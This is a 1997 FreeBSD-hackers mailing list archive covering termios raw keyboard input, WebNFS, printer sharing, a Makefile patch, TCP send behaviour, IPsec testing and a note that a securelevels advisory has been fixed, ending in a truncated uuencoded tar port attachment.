io In-Reply-To: <199706250208.TAA23288@hub.freebsd.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by hub.freebsd.org id JAA01413 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997, MARK SAYER wrote: > I have been looking for this for ages. I resorted to using ncurses, but > then I was stuck with using ncurses window management (yuk). So, I tried > the code below and it doesn't seem to work as promised. I just want the > program to trap 1 keypress and continue execution. Ok, that's what it will do... Alternatively, you twiddle it such that getchar() returns immediately regardless of wether there's input available or not (although I don't know what return value it uses in the latter case). > #include > #include > > struct termios old, new; > > main() > { > char c; Since I see J'oerg read this, I'm surprised he didn't beat-up on you for not making this an int c;... :) (It's better as an int, of course) > tcgetattr (fileno(stdin), &old); new = old; > > new.c_iflag &=~(ICANON|ECHO); It doesn't help that you changed the above from new.c_lflag &= to new.c_iflag &= ... > tcsetattr (fileno(stdin), TCSANOW, &new); > > c = getc(stdin); > > tcsetattr (fileno(stdin), TCSANOW, &old); > } > All it seems to do is stop trapping my CR key?? That's because c_iflag controls, what you used, is for input flags, but c_lflag is for local flags, what I used in the code you tried to copy. :) Additionally, there're also c_cflags, c_oflags for control and ouput options, respectively. termios(4) lists all the flags. Various /usr/include/* files also describe some. > 168: {9} ./a.out > > a^M^M^M^Mò Disabling IEXTEN won't really solve your problem. Just change c_iflags to c_lflags... > Any ideas? Yes. See above. -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Wed Jun 25 09:58:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA02747 for hackers-outgoing; Wed, 25 Jun 1997 09:58:53 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA02740 for ; Wed, 25 Jun 1997 09:58:48 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wgvP4-00029V-00; Wed, 25 Jun 1997 10:58:46 -0600 To: hackers@freebsd.org Subject: NetBSD and WebNFS Date: Wed, 25 Jun 1997 10:58:46 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Looks like NetBSD just imported WebNFS support. Just thought I'd pass this along because it is relevant to the market nitche that FreeBSD is generally used in. Warner ------- Forwarded Message fvdl Tue Jun 24 16:28:16 PDT 1997 Update of /a/cvsroot/src/sys/nfs In directory netbsd1:/var/slash-tmp/cvs-serv21169 Modified Files: nfs.h Log Message: Add a few defines for WebNFS support. ------- End of Forwarded Message From owner-freebsd-hackers Wed Jun 25 09:59:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA02819 for hackers-outgoing; Wed, 25 Jun 1997 09:59:56 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA02813 for ; Wed, 25 Jun 1997 09:59:51 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.6/8.8.6) with ESMTP id NAA29178; Wed, 25 Jun 1997 13:00:00 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.6/8.8.6) with SMTP id NAA28526; Wed, 25 Jun 1997 13:00:10 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Wed, 25 Jun 1997 13:00:10 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: hoek@hwcn.org To: Joerg Wunsch cc: "'freebsd-hackers@freebsd.org'" , MARK SAYER Subject: Re: BSD io In-Reply-To: <19970625085007.ZX52176@uriah.heep.sax.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997, J Wunsch wrote: > Mark Sayer a ecrite: > > new.c_iflag &=~(ICANON|ECHO); > > new.c_lflag &= ~(ICANON | ECHO | IEXTEN); /* consider ISIG etc., too */ > > ...and it works. Also, you should probably do: Hmm... Does IEXTEN do anything other than enable (or disable, in this case) LNEXT and DISCARD processing? (Mark's mistake, of course, was change c_lflag in my example to c_iflag). -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Wed Jun 25 10:28:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA04276 for hackers-outgoing; Wed, 25 Jun 1997 10:28:35 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA04265 for ; Wed, 25 Jun 1997 10:28:29 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wgvrn-0002FN-00; Wed, 25 Jun 1997 11:28:27 -0600 To: hackers@freebsd.org Subject: Printer sharing Date: Wed, 25 Jun 1997 11:28:27 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk OK. I wanna share my two printers between my two systems. Once is a nice laser printer and the other is a color inkjet printer. Both are HP printers. The *STUPID* hp driver *REQUIRES* that the printer be connected to the computer and seems to go to great lengths to detect and defeat printer share boxes. So I was wondering if anybody had run into this problem and sovled it. I haven't spent much time looking into it, but thought I'd save myself some time if others have blazed this trail before me. One idea that comes to mind is an hpprinterd that runs on my FreeBSD machine and pretends to be a hpxxx printer to the other end of the printer cable and passes through all the data it gets to lpr or something to allow for printer sharing. The stupid windows driver doesn't even support printing via the network device :-(. Has anybody even thought about looking into this? I know I'd need at least three printer ports on the FreeBSD system to do this (one for the win->freebsd communication, and one for each of the printers). Are the device drivers up to the challange? Comments? Warner From owner-freebsd-hackers Wed Jun 25 10:38:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA04650 for hackers-outgoing; Wed, 25 Jun 1997 10:38:03 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA04645 for ; Wed, 25 Jun 1997 10:37:58 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.5/8.6.12) with SMTP id KAA17383; Wed, 25 Jun 1997 10:33:20 -0700 (PDT) Message-Id: <199706251733.KAA17383@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: Michael Smith Cc: joerg_wunsch@uriah.heep.sax.de, hackers@freebsd.org Subject: Re: libedit, etc. (CVS issues) Reply-To: Jason Thorpe From: Jason Thorpe Date: Wed, 25 Jun 1997 10:33:19 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997 17:50:47 +0930 (CST) Michael Smith wrote: > Does anyone know what the NetBSD function "timersub()" is supposed to do? Look in NetBSD's ... they are macros that perform "arithmetic" on timevals. Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: 408.866.1912 NAS: M/S 258-6 Work: 415.604.0935 Moffett Field, CA 94035 Pager: 415.428.6939 From owner-freebsd-hackers Wed Jun 25 11:10:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06371 for hackers-outgoing; Wed, 25 Jun 1997 11:10:59 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA06365 for ; Wed, 25 Jun 1997 11:10:54 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id EAA12771; Thu, 26 Jun 1997 04:06:13 +1000 Date: Thu, 26 Jun 1997 04:06:13 +1000 From: Bruce Evans Message-Id: <199706251806.EAA12771@godzilla.zeta.org.au> To: hoek@hwcn.org, joerg_wunsch@uriah.heep.sax.de Subject: Re: BSD io Cc: freebsd-hackers@FreeBSD.ORG, MSAYER@cuscal.com.au Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> new.c_lflag &= ~(ICANON | ECHO | IEXTEN); /* consider ISIG etc., too */ >> >> ...and it works. Also, you should probably do: > >Hmm... Does IEXTEN do anything other than enable (or disable, in >this case) LNEXT and DISCARD processing? Not much more, if anything. However, if you want to get this exactly right, then you may need to understand the 26 flags and 2 special characters handled by cfmakeraw(), or just use cfmakeraw() :-). Bruce From owner-freebsd-hackers Wed Jun 25 11:26:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA07106 for hackers-outgoing; Wed, 25 Jun 1997 11:26:48 -0700 (PDT) Received: from nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA07093 for ; Wed, 25 Jun 1997 11:26:42 -0700 (PDT) Received: from herring.nlsystems.com (herring.nlsystems.com [10.0.0.2]) by nlsystems.com (8.8.5/8.8.5) with SMTP id TAA20462; Wed, 25 Jun 1997 19:25:44 +0100 (BST) Date: Wed, 25 Jun 1997 19:25:43 +0100 (BST) From: Doug Rabson To: Warner Losh cc: hackers@freebsd.org Subject: Re: NetBSD and WebNFS In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 25 Jun 1997, Warner Losh wrote: > Looks like NetBSD just imported WebNFS support. Just thought I'd pass > this along because it is relevant to the market nitche that FreeBSD is > generally used in. I'm already in the process of merging in the NetBSD changes for WebNFS. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 951 1891 Fax: +44 181 381 1039 From owner-freebsd-hackers Wed Jun 25 13:23:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA12339 for hackers-outgoing; Wed, 25 Jun 1997 13:23:34 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA12326 for ; Wed, 25 Jun 1997 13:23:24 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA08005 for freebsd-hackers@FreeBSD.ORG; Wed, 25 Jun 1997 22:23:23 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id WAA16042; Wed, 25 Jun 1997 22:18:18 +0200 (MET DST) Message-ID: <19970625221818.HJ15344@uriah.heep.sax.de> Date: Wed, 25 Jun 1997 22:18:18 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG ('freebsd-hackers@freebsd.org') Subject: Re: BSD io References: <199706250208.TAA23288@hub.freebsd.org> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Tim Vanderhoek on Jun 25, 1997 12:29:58 -0400 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Tim Vanderhoek wrote: > > main() > > { > > char c; > > Since I see J'oerg read this, I'm surprised he didn't beat-up on > you for not making this an int c;... :) I made it in my own test version, but finally decided to not quote the entire test program after i found that the problem was to misspell c_lflag. Of course, the `int' is what it needs to be. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Jun 25 13:23:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA12355 for hackers-outgoing; Wed, 25 Jun 1997 13:23:40 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA12337 for ; Wed, 25 Jun 1997 13:23:33 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id WAA08011; Wed, 25 Jun 1997 22:23:32 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id WAA16052; Wed, 25 Jun 1997 22:19:09 +0200 (MET DST) Message-ID: <19970625221909.EE41414@uriah.heep.sax.de> Date: Wed, 25 Jun 1997 22:19:09 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: MSAYER@cuscal.com.au (MARK SAYER) Subject: Re: BSD io References: <19970625085007.ZX52176@uriah.heep.sax.de> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Tim Vanderhoek on Jun 25, 1997 13:00:10 -0400 Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Tim Vanderhoek wrote: > Hmm... Does IEXTEN do anything other than enable (or disable, in > this case) LNEXT and DISCARD processing? That's what the man page says. (Well, there is a man page for termios, after all. ;) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Wed Jun 25 15:00:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA16617 for hackers-outgoing; Wed, 25 Jun 1997 15:00:39 -0700 (PDT) Received: from ice.cold.org (cold.org [206.81.134.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA16612 for ; Wed, 25 Jun 1997 15:00:36 -0700 (PDT) Received: (from brandon@localhost) by ice.cold.org (8.8.5/8.8.5) id QAA07651 for freebsd-hackers@freebsd.org; Wed, 25 Jun 1997 16:00:42 -0600 (MDT) Date: Wed, 25 Jun 1997 16:00:42 -0600 (MDT) From: Brandon Gillespie Message-Id: <199706252200.QAA07651@ice.cold.org> To: freebsd-hackers@freebsd.org Subject: Be net friendly, add an 'abuse' alias to the distributed aliases file Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Thats probably the longest subject I've ever had 8) Just a thought.. why dont we add an 'abuse' alias to the default aliases file, since its becoming a pretty standard address (like postmaster, and whatnot). -Brandon Gillespie From owner-freebsd-hackers Wed Jun 25 15:01:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA16665 for hackers-outgoing; Wed, 25 Jun 1997 15:01:13 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA16656 for ; Wed, 25 Jun 1997 15:01:09 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id WAA07485 for hackers@freebsd.org; Wed, 25 Jun 1997 22:02:11 +0200 (CEST) From: Mikael Karpberg Message-Id: <199706252002.WAA07485@ocean.campus.luth.se> Subject: Error in /usr/src/etc/Makefile To: hackers@freebsd.org Date: Wed, 25 Jun 1997 22:02:10 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! I'm running 2.2-970625-RELENG from releng22.freebsd.org. I have found a small error, and thought it small enough to try making my first patch. /etc/mtree/BSD.x11.dist is not installed by sysinstall at install time. A simple cp /usr/src/etc/mtree/BSD.x11.dist /etc/mtree/ solved that for me, once I did some thinking and started looking for the file. All of a sudden "make install" would work in for the ports, again. :-) The error is, I suspect fixed by the following patch to /usr/src/etc/Makefile: *** Makefile Wed Jun 25 21:50:18 1997 --- Makefile.old Wed Jun 25 21:49:18 1997 *************** *** 22,29 **** # -rwxr-xr-x root.wheel, for the new cron root.wheel BIN3= daily weekly monthly pccard_ether ! MTREE= BSD.include.dist BSD.local.dist BSD.root.dist BSD.usr.dist \ ! BSD.var.dist BSD.x11.dist NAMEDB= PROTO.localhost.rev named.boot named.root make-localhost PPPCNF= ppp.conf.filter.sample ppp.conf.iij.sample ppp.conf.sample \ ppp.conf.server.sample ppp.dialup.sample ppp.linkup.sample \ --- 22,28 ---- # -rwxr-xr-x root.wheel, for the new cron root.wheel BIN3= daily weekly monthly pccard_ether ! MTREE= BSD.include.dist BSD.local.dist BSD.root.dist BSD.usr.dist BSD.var.dist NAMEDB= PROTO.localhost.rev named.boot named.root make-localhost PPPCNF= ppp.conf.filter.sample ppp.conf.iij.sample ppp.conf.sample \ ppp.conf.server.sample ppp.dialup.sample ppp.linkup.sample \ Now tell me, did I get that right? Both as to making the patch, and the patch itself. I should probably have send-pr:ed this, I guess, but I thought I'd try just mailing first. I don't feel like learning a new program right now. I need to sleep. :-) Regards, Mikael From owner-freebsd-hackers Wed Jun 25 15:18:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA17297 for hackers-outgoing; Wed, 25 Jun 1997 15:18:32 -0700 (PDT) Received: from emout12.mail.aol.com (emout12.mx.aol.com [198.81.11.38]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA17289 for ; Wed, 25 Jun 1997 15:18:16 -0700 (PDT) From: StevenR362@aol.com Received: (from root@localhost) by emout12.mail.aol.com (8.7.6/8.7.3/AOL-2.0.0) id SAA21455; Wed, 25 Jun 1997 18:17:41 -0400 (EDT) Date: Wed, 25 Jun 1997 18:17:41 -0400 (EDT) Message-ID: <970625181551_-1428725356@emout12.mail.aol.com> To: imp@village.org, hackers@freebsd.org Subject: Re: Printer sharing Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In a message dated 97-06-25 17:27:41 EDT, imp@village.org (Warner Losh) writes: > OK. I wanna share my two printers between my two systems. Once is a > nice laser printer and the other is a color inkjet printer. Both are > HP printers. The *STUPID* hp driver *REQUIRES* that the printer be > connected to the computer and seems to go to great lengths to detect > and defeat printer share boxes. > You have at least two options that should work. Option one is to buy a high quality automatic printer switch that is bidirectional I.E.E. 1280? (can't remember the exact number) compatible. It has to fully mimic a straight through bidirectional cable. Solectek makes some nice ones that run about $35.00. I am succesfully using one myself. It is totally transparent printing from both machines. The switch even does the right thing when you try to print simultaneously from both machines. One machine gets a printer busy signal. You might possibly have to play games with windows plug&pray crap by installing your drivers with a straight cable and then attaching the switch afterwards. With the new printers, EPP bidirectionality is mandatory. Option two is to run Samba on your FreeBSD box with both printers attached and network mount them on your windows machine. I would have done this except I already had the switch. This also gives you the added benefit of being able to mount disk space from your FreeBSD box on your windows machine. Two $19.00 NE2000 clones will set you right up for less than the printer switches. Also take a look at apsfilter in ports. It is about as transparent as you can get for printing from Unix. Steve From owner-freebsd-hackers Wed Jun 25 15:50:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA18767 for hackers-outgoing; Wed, 25 Jun 1997 15:50:41 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA18758 for ; Wed, 25 Jun 1997 15:50:37 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wh0tT-0002lE-00; Wed, 25 Jun 1997 16:50:31 -0600 To: StevenR362@aol.com Subject: Re: Printer sharing Cc: hackers@freebsd.org In-reply-to: Your message of "Wed, 25 Jun 1997 18:17:41 EDT." <970625181551_-1428725356@emout12.mail.aol.com> References: <970625181551_-1428725356@emout12.mail.aol.com> Date: Wed, 25 Jun 1997 16:50:31 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <970625181551_-1428725356@emout12.mail.aol.com> StevenR362@aol.com writes: : You have at least two options that should work. Option one is to buy : a high quality automatic printer switch that is bidirectional : I.E.E. 1280? (can't remember the exact number) compatible. It has to : fully mimic a straight through bidirectional cable. I picked up one for about $25 that I was told was completely compilant. Doesn't work :-(. : Option two is to run Samba on your FreeBSD box with both printers attached : and network mount them on your windows machine. I would have done this : except I already had the switch. This also gives you the added benefit of : being able to mount disk space from your FreeBSD box on your windows : machine. Two $19.00 NE2000 clones will set you right up for less than the : printer switches. Also take a look at apsfilter in ports. It is about as : transparent as you can get for printing from Unix. I'm thinking that this is the best bet. I will most liekly do this. However, there is a gotcha: I have to use a generic PS driver and ghostscript to do this. Otherwise I'm SOL because the HP printer driver will not allow a connection to a network printer :-(. Warner From owner-freebsd-hackers Wed Jun 25 16:13:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA19580 for hackers-outgoing; Wed, 25 Jun 1997 16:13:19 -0700 (PDT) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id QAA19572 for ; Wed, 25 Jun 1997 16:13:17 -0700 (PDT) Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <36409(3)>; Wed, 25 Jun 1997 13:13:57 PDT Received: from localhost by crevenia.parc.xerox.com with SMTP id <177513>; Wed, 25 Jun 1997 13:13:48 -0700 To: Kenjiro Cho cc: Chris Csanady , hackers@freebsd.org Subject: Re: TCP/IP bug? Unnecessary fragmentation... In-reply-to: Your message of "Fri, 30 May 97 00:01:00 PDT." <199705300701.QAA12323@hotaka.csl.sony.co.jp> Date: Wed, 25 Jun 1997 13:13:43 PDT From: Bill Fenner Message-Id: <97Jun25.131348pdt.177513@crevenia.parc.xerox.com> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Kenjiro Cho wrote: >I think, considering the wide use of TCP, the socket layer should try >to call tcp_usr_send all at once when possible. That would be going backwards, to some extent. Van Jacobson wrote in a 1988 message about upping TCP stack performance: |The biggest single effect was a change to sosend (the routine |between the user "write" syscall and tcp_output). Its loop |looked something like: | | while there is user data & space in the socket buffer | copy from user space to socket | call the protocol "send" routine | |After hooking a scope to our ethernet cable & looking at the |packet spacings, I changed this to | | while there is user data & space in the socket buffer | copy up to 1K (one cluster's worth) from user space to socket | call the protocol "send" routine | |and the throughput jumped from 380 to 456 KB/s (+20%). There's |one school of thought that says the first loop was better |because it minimized the "boundary crossings", the fixed costs |of routine calls and context changes. This same school is |always lobbying for "bigger": bigger packets, bigger windows, |bigger buffers, for essentially the same reason: the bigger |chunks are, the fewer boundary crossings you pay for. The |correct school, mine :-), says there's always a fixed cost and a |variable cost (e.g., the cost of maintaining tcp state and |tacking a tcp packet header on the front of some data is |independent of the amount of data; the cost of filling in the |checksum field in that header scales linearly with the amount of |data). If the size is large enough to make the fixed cost small |compared to the variable cost, making things bigger LOWERS |throughput because you throw away opportunities for parallelism. It's clear that there's a mismatch here but the fix is probably making sosend() allocate mbuf's differently if needed. (Of course, the costs that Van is talking about have clearly changed since the days of the Sun 3/60 that he ran those particular tests on, too.) Bill From owner-freebsd-hackers Wed Jun 25 16:53:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA20886 for hackers-outgoing; Wed, 25 Jun 1997 16:53:21 -0700 (PDT) Received: from zen.nash.org (nash.pr.mcs.net [204.95.47.72]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA20879; Wed, 25 Jun 1997 16:53:10 -0700 (PDT) Received: from zen.nash.org (localhost.zen.nash.org [127.0.0.1]) by zen.nash.org (8.8.5/8.8.5) with SMTP id SAA27384; Wed, 25 Jun 1997 18:51:11 -0500 (CDT) Message-ID: <33B1AEEE.794BDF32@mcs.com> Date: Wed, 25 Jun 1997 18:51:10 -0500 From: Alex Nash X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2-STABLE i386) MIME-Version: 1.0 To: Darren Reed CC: security@FreeBSD.ORG, hackers@FreeBSD.ORG, tqbf@enteract.com Subject: Re: [ADVISORY] 4.4BSD Securelevels (fwd) References: <199706250629.XAA04410@hub.freebsd.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Darren Reed wrote: > > In some mail from Thomas H. Ptacek, sie said: [...] > > > > AFFECTED SYSTEMS > > > > It is believed that all 4.4BSD operating systems are currently vulnerable > > to this problem. A lack of BSDI source code prevents us from verifying > > it's applicability to that operating system. > > > > Systems known to be currently vulnerable include: > > > > OpenBSD 2.0 and OpenBSD 2.1 (the OpenBSD project has resolved this > > problem in OpenBSD-current). > > > > All currently available versions of FreeBSD (the FreeBSD project has > > resolved this problem in FreeBSD-current). Just to clarify: the fix for this has been available in all three branches (-current, 2.2-stable, and 2.1-stable) since Saturday. Alex From owner-freebsd-hackers Wed Jun 25 17:50:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id RAA23837 for hackers-outgoing; Wed, 25 Jun 1997 17:50:07 -0700 (PDT) Received: from mail0.iij.ad.jp (mail0.iij.ad.jp [202.232.2.113]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id RAA23827 for ; Wed, 25 Jun 1997 17:50:04 -0700 (PDT) Received: from uucp3.iij.ad.jp (uucp3.iij.ad.jp [202.232.2.203]) by mail0.iij.ad.jp (8.8.5+2.7Wbeta5/3.5Wpl4-MAIL) with SMTP id JAA12109 for ; Thu, 26 Jun 1997 09:50:03 +0900 (JST) Received: (from uucp@localhost) by uucp3.iij.ad.jp (8.6.12+2.4W/3.3W9-UUCP) with UUCP id JAA00318 for freebsd-hackers@freebsd.org; Thu, 26 Jun 1997 09:50:01 +0900 Received: (qmail 16466 invoked by uid 1000); 26 Jun 1997 00:49:28 -0000 Message-ID: <19970626004928.16465.qmail@reseau.toyonaka.osaka.jp> Date: Thu, 26 Jun 1997 09:49:28 +0900 (JST) From: Kenji Rikitake X-Sender: kenji@reseau.reseau.rcac.tdi.co.jp To: freebsd-security@freebsd.org cc: itojun@itojun.org, freebsd-hackers@freebsd.org Subject: Re: ipsec code made in Japan In-Reply-To: <12196.867054658@itojun.csl.sony.co.jp> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997 itojun@itojun.org wrote: > I've made a IPv4 IPsec patch to 2.2.1-RELEASE, in: > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/ > (should be easily applied to 222-RELEASE too) > Please read the following document with care BEFORE downloading it. > ftp://ftp.csl.sony.co.jp/pub/itojun/ipsec/README Some more comments on the above experimental code: * AH (Authentication Header) works fine on 2.2.2-RELEASE kernels. * ESP (Encapsulated Security Payload, which means encrypted packets) has some glitches yet on the 970623 version yet, causing data corruption on TCP applications such as ftp or ssh. Itojun and the developpers are working hard to fix the problem. * Some kernel debugging experience is needed to involve the beta testing since the code is still in the experimental phase. // Kenji Rikitake // A beta tester of IPv4 IPsec on FreeBSD // An equal opportunistic encryptor. WWW: http://www.nn.iij4u.or.jp/~kenji/ From owner-freebsd-hackers Wed Jun 25 18:13:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA24871 for hackers-outgoing; Wed, 25 Jun 1997 18:13:41 -0700 (PDT) Received: from precipice.shockwave.com (ppp-207-214-209-110.snfc21.pacbell.net [207.214.209.110]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA24855; Wed, 25 Jun 1997 18:13:02 -0700 (PDT) Received: from shockwave.com (localhost [127.0.0.1]) by precipice.shockwave.com (8.8.5/8.7.3) with ESMTP id SAA12822; Wed, 25 Jun 1997 18:11:25 -0700 (PDT) Message-Id: <199706260111.SAA12822@precipice.shockwave.com> To: jkh@freebsd.org, ache@freebsd.org cc: hackers@freebsd.org Subject: gnu tar 1.12 port Date: Wed, 25 Jun 1997 18:11:25 -0700 From: Paul Traina Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Jordan, I finally put the fast-read stuff in to the new tar. Here's a port for functionality testing so we can make sure we don't screw the world by just dropping this in the source tree untested. It has not had any testing whatsoever, and it's from work I did 2+ months ago, so the quality is not there. The big things that need checking are: --fast-read --unlink and 8 bit clear NLS for Andrey I may try testing it myself, if I ever get a chance, but I know you were kinda interested in this. Regards, Paul begin 644 tar-port.tgz M'XL(`)S`L3,``^T::U?;1C9?[5]Q$]H44[\D2S8V)2<$#/4NF!S;M-W]HB-+ M(UM%EK1Z0$C*?]][1R-95C!)NPOMV=4]";9G[LS<]T.:"_V:6;;#7CPA2.UV M5U'@!1"T"Y\`DM25`+H=5>ET>HKXS`CLCT75L(LP/*"`2D)A53=J>[`3RP("2%@ M_XKM@)F#1(5-2<;)$SUB8`0,/\0$@:S"WV(7I'Z_AS@_+[W5>BX%/XSX]M^, M<.&%.+Q^0QNW^CZ6Q\=#$\%-LA 